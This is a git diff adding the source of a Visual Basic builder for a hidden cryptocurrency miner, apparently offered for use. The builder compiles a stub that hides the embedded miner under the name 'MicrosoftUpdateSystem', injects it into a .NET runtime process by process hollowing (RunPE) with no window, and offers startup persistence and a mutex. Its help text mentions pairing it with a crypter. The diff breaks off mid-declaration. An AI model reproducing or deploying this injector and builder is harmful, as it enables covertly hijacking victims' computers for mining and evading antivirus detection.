AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= + + + \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/Forms/frnMain.vb b/scode (rMinerPTS/rMinerPTS/Forms/frnMain.vb new file mode 100644 index 0000000..1f6e87a --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/Forms/frnMain.vb @@ -0,0 +1,145 @@ +Imports hMinerPTS.License +Imports System.IO + +Public Class frmMain + + ' Sub New() + ' InitializeComponent() + ' Seal.Protection = RuntimeProtection.FullScan + ' Seal.Initialize("E42E0000") 'Required + ' + ' FormSkin1.Text = "hMinerPTS - Welcome " & Seal.Username & "." + ' statusBar.Text = "Version: " & Seal.ProductVersion.ToString() & " News: " & Seal.GlobalMessage + ' End Sub + + Private Sub btMinimize_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btMinimize.Click + Me.WindowState = FormWindowState.Minimized + End Sub + + + + Private Sub checkIcon_CheckedChanged(ByVal sender As System.Object) Handles checkIcon.CheckedChanged + If checkIcon.Checked Then + btIconBrowse.Enabled = True + Settings.CustomIcon = True + Else + btIconBrowse.Enabled = False + previewIcon.BackColor = Color.Gainsboro + previewIcon.Image = Nothing + Settings.CustomIcon = False + End If + End Sub + + + Private Sub checkStartup_CheckedChanged(ByVal sender As System.Object) Handles checkStartup.CheckedChanged + If checkStartup.Checked Then + tbStartup.Enabled = True + tbStartup.TextColor = Color.White + Settings.Startup = True + Else + tbStartup.Enabled = False + tbStartup.TextColor = Color.Silver + tbStartup.Text = "Startupkey" + Settings.Startup = False + End If + End Sub + + Private Sub checkMutex_CheckedChanged(ByVal sender As System.Object) Handles checkMutex.CheckedChanged + If checkMutex.Checked Then + tbMutex.Enabled = True + tbMutex.TextColor = Color.White + Settings.Mutex = True + Else + tbMutex.Enabled = False + tbMutex.TextColor = Color.Silver + tbMutex.Text = "Random Chars" + Settings.Mutex = False + End If + End Sub + + Private Sub btReset_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btReset.Click + tbURL.Text = "ypool.net" + tbWorker.Text = "Example.PTS" + tbPass.Text = "x" + checkStartup.Checked = False + checkMutex.Checked = False + tbStartup.Text = "Startupkey" + tbMutex.Text = "Random Chars" + End Sub + + Private Sub btHelp_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btHelp.Click + MsgBox("Mutex: The miner only starts once." & vbNewLine & "Use Startup ONLY if you don't have a crypter!", MsgBoxStyle.OkOnly + MsgBoxStyle.Information, "HELP") + End Sub + + Private Sub btIconBrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btIconBrowse.Click + Using ofd As New OpenFileDialog With {.Title = "Open Icon...", .Filter = "Icon files (*ico)|*.ico", .InitialDirectory = Application.StartupPath} + If ofd.ShowDialog() = DialogResult.OK Then + previewIcon.BackColor = Color.Transparent + previewIcon.ImageLocation = ofd.FileName + Settings.IconPath = ofd.FileName + End If + End Using + End Sub + + Private Sub btBuild_MouseEnter(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.MouseEnter + btBuild.Image = My.Resources.build_hover + End Sub + + + Private Sub btBuild_MouseLeave(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.MouseLeave + btBuild.Image = My.Resources.build + End Sub + + Private Sub btBuild_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.Click + + Dim tmp As String + tmp = Path.GetTempPath() & "hMine.resources" + + + Settings.SavePath = Settings.getSavePath() + If Settings.SavePath = Nothing Then : MsgBox("Please choose a save location!", MsgBoxStyle.OkOnly + MsgBoxStyle.Information) : Exit Sub : End If + + Dim source As String + source = Settings.prepareSource(My.Resources.Stub) + + 'IO.File.WriteAllText(Application.StartupPath & "/test.vb", source) + If Settings.CustomIcon Then + IO.File.WriteAllBytes(tmp, My.Resources.hMine) + rCompiler.Compile(source, Settings.SavePath, tmp, Settings.IconPath) + IO.File.Delete(tmp) + Else + IO.File.WriteAllBytes(tmp, My.Resources.hMine) + rCompiler.Compile(source, Settings.SavePath, tmp) + IO.File.Delete(tmp) + End If + End Sub + + Private Sub checkPercent_CheckedChanged(ByVal sender As System.Object) Handles checkPercent.CheckedChanged + If checkPercent.Checked Then + nThreads.Enabled = False + nThreads.Value = 0 + Settings.ThreadPercent = True + Else + nThreads.Enabled = True + Settings.ThreadPercent = False + End If + End Sub + + Private Sub checkDebug_CheckedChanged(ByVal sender As System.Object) Handles checkDebug.CheckedChanged + If checkDebug.Checked Then + Settings.DebugMode = True + Else + Settings.DebugMode = False + End If + End Sub + + 'Private Sub FlatButton1_Click(sender As System.Object, e As System.EventArgs) Handles FlatButton1.Click + ' MsgBox(Settings.prepareSource(My.Resources.Stub)) + + 'MsgBox(System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "vbc.exe") + 'End Sub + + Private Sub frmMain_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + comboInject.SelectedIndex = 1 + End Sub +End Class diff --git a/scode (rMinerPTS/rMinerPTS/My Project/Application.Designer.vb b/scode (rMinerPTS/rMinerPTS/My Project/Application.Designer.vb new file mode 100644 index 0000000..bf50497 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.hMinerPTS.frmMain + End Sub + End Class +End Namespace diff --git a/scode (rMinerPTS/rMinerPTS/My Project/Application.myapp b/scode (rMinerPTS/rMinerPTS/My Project/Application.myapp new file mode 100644 index 0000000..ddd964a --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + frmMain + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/My Project/AssemblyInfo.vb b/scode (rMinerPTS/rMinerPTS/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..79c0e1a --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (rMinerPTS/rMinerPTS/My Project/Resources.Designer.vb b/scode (rMinerPTS/rMinerPTS/My Project/Resources.Designer.vb new file mode 100644 index 0000000..f6ee51d --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/My Project/Resources.Designer.vb @@ -0,0 +1,116 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("hMinerPTS.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Drawing.Bitmap. + ''' + Friend ReadOnly Property build() As System.Drawing.Bitmap + Get + Dim obj As Object = ResourceManager.GetObject("build", resourceCulture) + Return CType(obj,System.Drawing.Bitmap) + End Get + End Property + + ''' + ''' Looks up a localized resource of type System.Drawing.Bitmap. + ''' + Friend ReadOnly Property build_hover() As System.Drawing.Bitmap + Get + Dim obj As Object = ResourceManager.GetObject("build_hover", resourceCulture) + Return CType(obj,System.Drawing.Bitmap) + End Get + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property hMine() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("hMine", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Imports System, Microsoft.VisualBasic + '''Imports Microsoft.Win32 + '''Imports System.Reflection + ''' + '''<Assembly: AssemblyTitle("{TITLE}")> 'done + '''<Assembly: AssemblyDescription("{DESC}")> 'done + '''<Assembly: AssemblyCompany("{COMPANY}")> 'done + '''<Assembly: AssemblyProduct("{PRODUCT}")> 'done + '''<Assembly: AssemblyCopyright("{COPYRIGHT}")> 'done + '''<Assembly: AssemblyTrademark("{TRADEMARK}")> 'done + '''<Assembly: AssemblyFileVersion("{FVERSION}")> 'done + '''<Assembly: AssemblyVersion("{PVERSION}")> 'done + ''' + '''Module Module1 + '''%MUTEX [rest of string was truncated]";. + ''' + Friend ReadOnly Property Stub() As String + Get + Return ResourceManager.GetString("Stub", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (rMinerPTS/rMinerPTS/My Project/Resources.resx b/scode (rMinerPTS/rMinerPTS/My Project/Resources.resx new file mode 100644 index 0000000..982756e --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/My Project/Resources.resx @@ -0,0 +1,133 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\img\build.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\img\build_hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Source\Stub.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + + + ..\RES\hMine.resources;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/My Project/Settings.Designer.vb b/scode (rMinerPTS/rMinerPTS/My Project/Settings.Designer.vb new file mode 100644 index 0000000..6b4ea54 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.hMinerPTS.My.MySettings + Get + Return Global.hMinerPTS.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (rMinerPTS/rMinerPTS/My Project/Settings.settings b/scode (rMinerPTS/rMinerPTS/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (rMinerPTS/rMinerPTS/RES/hMine.resources b/scode (rMinerPTS/rMinerPTS/RES/hMine.resources new file mode 100644 index 0000000..21006a4 Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS/RES/hMine.resources differ diff --git a/scode (rMinerPTS/rMinerPTS/Source/Stub - Copy.txt b/scode (rMinerPTS/rMinerPTS/Source/Stub - Copy.txt new file mode 100644 index 0000000..86a6f81 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/Source/Stub - Copy.txt @@ -0,0 +1,165 @@ +Imports System, Microsoft.VisualBasic +Imports Microsoft.Win32 +Imports System.Reflection + + 'done + 'done + 'done + 'done + 'done + 'done + 'done + 'done + +Module Module1 +%MUTEXOBJ% + Sub Main() + %CHECKMUTEX% + %DOSTARTUP% + + Dim r As New Resources.ResourceManager("hMine", Assembly.GetExecutingAssembly()) + Dim bytes As Byte() = DirectCast(r.GetObject("hMiner"), Byte()) + + 'rMinerPE.Create(IO.File.ReadAllBytes("D:\Projekte\RunPE testing\RunPE testing\jhProtominer.exe"), System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%) + rMinerPE.Create(bytes, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%) + + '%ARGS% + End Sub + + %MUTEXSUB% + + %STARTUPSUB% + + %CORESUB% + +End Module + +Public NotInheritable Class rMinerPE + Private Sub New() + End Sub + Public Shared Function Create(ByVal exeBuffer As Byte(), ByVal hostProcess As String, Optional ByVal optionalArguments As String = "", Optional ByVal Debug As Boolean = False) As Boolean + Dim IMAGE_SECTION_HEADER As Byte() = New Byte(39) {} + + Dim IMAGE_NT_HEADERS As Byte() = New Byte(247) {} + + Dim IMAGE_DOS_HEADER As Byte() = New Byte(63) {} + + Dim PROCESS_INFO As Integer() = New Integer(3) {} + + Dim CONTEXT As Byte() = New Byte(715) {} + + Buffer.BlockCopy(BitConverter.GetBytes(CONTEXT_FULL), 0, CONTEXT, 0, 4) + + + Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length) + + + + If BitConverter.ToUInt16(IMAGE_DOS_HEADER, 0) <> IMAGE_DOS_SIGNATURE Then + Return False + End If + + Dim e_lfanew As Int32 = BitConverter.ToInt32(IMAGE_DOS_HEADER, &H3C) + + + Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length) + + If BitConverter.ToUInt32(IMAGE_NT_HEADERS, 0) <> IMAGE_NT_SIGNATURE Then + Return False + End If + + If Not String.IsNullOrEmpty(optionalArguments) Then + hostProcess += " " & optionalArguments + End If + + If Debug Then + If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_SUSPENDED, _ + IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then + Return False + End If + Else + If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_NO_WINDOW + CREATE_SUSPENDED, _ + IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then + Return False + End If + End If + + + Dim ImageBase As IntPtr = New IntPtr(BitConverter.ToInt32(IMAGE_NT_HEADERS, &H34)) + + NtUnmapViewOfSection(CType(PROCESS_INFO(0), IntPtr), ImageBase) + + If VirtualAllocEx(CType(PROCESS_INFO(0), IntPtr), ImageBase, BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H50), MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) = IntPtr.Zero Then + Create(exeBuffer, hostProcess, optionalArguments) + End If + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), ImageBase, System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, 0), BitConverter.ToUInt32(IMAGE_NT_HEADERS, 84), IntPtr.Zero) + + For i As UShort = 0 To CUShort(BitConverter.ToUInt16(IMAGE_NT_HEADERS, &H6) - 1) + + Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length) + + Dim ptp As IntPtr = System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, CInt(BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H14))) + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), CType(CInt(ImageBase) + BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &HC), IntPtr), ptp, BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H10), IntPtr.Zero) + Next + + + NtGetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + + Dim ti1 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HAC + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(ti1, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero) + + Dim ti2 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HB0 + 'OLD NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HAC, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero) + System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(ti2, IntPtr), 4) + 'OLD System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HB0, IntPtr), 4) + + NtSetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + + NtResumeThread(CType(PROCESS_INFO(1), IntPtr), IntPtr.Zero) + + Return True + End Function + + + Private Const CONTEXT_FULL As UInteger = &H10007 + Private Const CREATE_SUSPENDED As Integer = &H4 + Private Const CREATE_NO_WINDOW As Integer = &H8000000 + Private Const MEM_COMMIT As Integer = &H1000 + Private Const MEM_RESERVE As Integer = &H2000 + Private Const PAGE_EXECUTE_READWRITE As Integer = &H40 + Private Const IMAGE_DOS_SIGNATURE As UShort = &H5A4D + + Private Const IMAGE_NT_SIGNATURE As UInteger = &H4550 + + _ + Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As IntPtr, ByVal lpThreadAttributes As IntPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, _ + ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByVal lpStartupInfo As Byte(), ByVal lpProcessInfo As Integer()) As Boolean + End Function + + _ + Private Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr + End Function + + _ + Private Shared Function NtUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr) As UInteger + End Function + + _ + Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As IntPtr) As Integer + End Function + + _ + Private Shared Function NtGetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer + End Function + + _ + Private Shared Function NtSetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer + End Function + + _ + Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SuspendCount As IntPtr) As UInteger + End Function +End Class \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/Source/Stub.txt b/scode (rMinerPTS/rMinerPTS/Source/Stub.txt new file mode 100644 index 0000000..3e578e2 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/Source/Stub.txt @@ -0,0 +1,165 @@ +Imports System, Microsoft.VisualBasic +Imports Microsoft.Win32 +Imports System.Reflection + + 'done + 'done + 'done + 'done + 'done + 'done + 'done + 'done + +Module Module1 +%MUTEXOBJ% + Sub Main() + %CHECKMUTEX% + %DOSTARTUP% + + Dim r As New Resources.ResourceManager("MicrosoftUpdateSystem", Assembly.GetExecutingAssembly()) + Dim bytes As Byte() = DirectCast(r.GetObject("MicrosoftUpdateSystem"), Byte()) + + 'rMinerPE.Create(IO.File.ReadAllBytes("D:\Projekte\RunPE testing\RunPE testing\jhProtominer.exe"), System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%) + rMinerPE.Create(bytes, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%) + + '%ARGS% + End Sub + + %MUTEXSUB% + + %STARTUPSUB% + + %CORESUB% + +End Module + +Public NotInheritable Class rMinerPE + Private Sub New() + End Sub + Public Shared Function Create(ByVal exeBuffer As Byte(), ByVal hostProcess As String, Optional ByVal optionalArguments As String = "", Optional ByVal Debug As Boolean = False) As Boolean + Dim IMAGE_SECTION_HEADER As Byte() = New Byte(39) {} + + Dim IMAGE_NT_HEADERS As Byte() = New Byte(247) {} + + Dim IMAGE_DOS_HEADER As Byte() = New Byte(63) {} + + Dim PROCESS_INFO As Integer() = New Integer(3) {} + + Dim CONTEXT As Byte() = New Byte(715) {} + + Buffer.BlockCopy(BitConverter.GetBytes(CONTEXT_FULL), 0, CONTEXT, 0, 4) + + + Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length) + + + + If BitConverter.ToUInt16(IMAGE_DOS_HEADER, 0) <> IMAGE_DOS_SIGNATURE Then + Return False + End If + + Dim e_lfanew As Int32 = BitConverter.ToInt32(IMAGE_DOS_HEADER, &H3C) + + + Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length) + + If BitConverter.ToUInt32(IMAGE_NT_HEADERS, 0) <> IMAGE_NT_SIGNATURE Then + Return False + End If + + If Not String.IsNullOrEmpty(optionalArguments) Then + hostProcess += " " & optionalArguments + End If + + If Debug Then + If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_SUSPENDED, _ + IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then + Return False + End If + Else + If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_NO_WINDOW + CREATE_SUSPENDED, _ + IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then + Return False + End If + End If + + + Dim ImageBase As IntPtr = New IntPtr(BitConverter.ToInt32(IMAGE_NT_HEADERS, &H34)) + + NtUnmapViewOfSection(CType(PROCESS_INFO(0), IntPtr), ImageBase) + + If VirtualAllocEx(CType(PROCESS_INFO(0), IntPtr), ImageBase, BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H50), MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) = IntPtr.Zero Then + Create(exeBuffer, hostProcess, optionalArguments) + End If + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), ImageBase, System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, 0), BitConverter.ToUInt32(IMAGE_NT_HEADERS, 84), IntPtr.Zero) + + For i As UShort = 0 To CUShort(BitConverter.ToUInt16(IMAGE_NT_HEADERS, &H6) - 1) + + Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length) + + Dim ptp As IntPtr = System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, CInt(BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H14))) + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), CType(CInt(ImageBase) + BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &HC), IntPtr), ptp, BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H10), IntPtr.Zero) + Next + + + NtGetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + + Dim ti1 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HAC + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(ti1, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero) + + Dim ti2 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HB0 + 'OLD NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HAC, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero) + System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(ti2, IntPtr), 4) + 'OLD System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HB0, IntPtr), 4) + + NtSetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + + NtResumeThread(CType(PROCESS_INFO(1), IntPtr), IntPtr.Zero) + + Return True + End Function + + + Private Const CONTEXT_FULL As UInteger = &H10007 + Private Const CREATE_SUSPENDED As Integer = &H4 + Private Const CREATE_NO_WINDOW As Integer = &H8000000 + Private Const MEM_COMMIT As Integer = &H1000 + Private Const MEM_RESERVE As Integer = &H2000 + Private Const PAGE_EXECUTE_READWRITE As Integer = &H40 + Private Const IMAGE_DOS_SIGNATURE As UShort = &H5A4D + + Private Const IMAGE_NT_SIGNATURE As UInteger = &H4550 + + _ + Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As IntPtr, ByVal lpThreadAttributes As IntPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, _ + ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByVal 